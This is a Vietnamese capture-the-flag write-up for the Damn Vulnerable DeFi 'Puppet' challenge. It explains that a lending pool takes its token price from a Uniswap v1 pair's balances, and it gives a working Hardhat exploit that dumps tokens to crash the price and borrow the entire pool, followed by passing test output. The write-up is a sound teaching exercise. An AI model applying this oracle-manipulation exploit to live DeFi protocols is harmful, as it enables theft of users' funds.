Challenge #8 - Puppet
Nhiệm vụ: Có một lending pool rất lớn cho vay DVT token, nhưng với điều kiện phải dùng ETH làm tài sản cầm cố với giá trị gấp đôi khoản vay. Trong pool hiện tại có 100000 DVT token. Cũng có một uniswap v1 pool nữa chứa 10ETH và 10DVT. Bắt đầu với 25ETH và 1000DVT, hãy tìm cách lấy tất cả token trong lending pool.
Phân tích
Đây là một challenge khá dễ và cơ bản.
Ta biết rằng nguyên lý hoạt động của Uniswap dựa trên công thức x*y = k
, do đó nếu càng mua vào một token sẽ càng làm cho số lượng token đó giảm đi, và khiến giá token đó tăng lên ở trong pool; và ngược lại.
Hơn thế nữa trong lending pool lại lấy giá của token chính là giá trong pool.
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
return amount * _computeOraclePrice() * 2 / 10 ** 18;
}
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
đây là một chỉ dẫn rất rõ ràng cho việc tiến hành thao túng giá token trong pool để có thể vay được nhiều token nhất có thể.
Ta có phương án khai thác như sau:
- Dùng hầu hết số DVT token ta đang có swap lấy ETH (thông qua uniswap) để làm giảm giá trị của DVT token.
- Cầm cố ETH để vay tất cả số token trong pool.
Exploit
Chuẩn bị script khai thác, lưu ý trong uniswap v1 hàm swap sẽ khác với v2.
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token
.connect(attacker)
.approve(this.uniswapExchange.address, ethers.constants.MaxUint256);
await this.uniswapExchange.connect(attacker).tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE.sub(1),
1,
(await ethers.provider.getBlock("latest")).timestamp * 2, // deadline
{ gasLimit: 1e6 }
);
const collateral = await this.lendingPool.calculateDepositRequired(
POOL_INITIAL_TOKEN_BALANCE
);
await this.lendingPool
.connect(attacker)
.borrow(POOL_INITIAL_TOKEN_BALANCE, { value: collateral });
});
Check lại kết quả
[Challenge] Puppet
✓ Exploit (95ms)
1 passing (2s)
All done!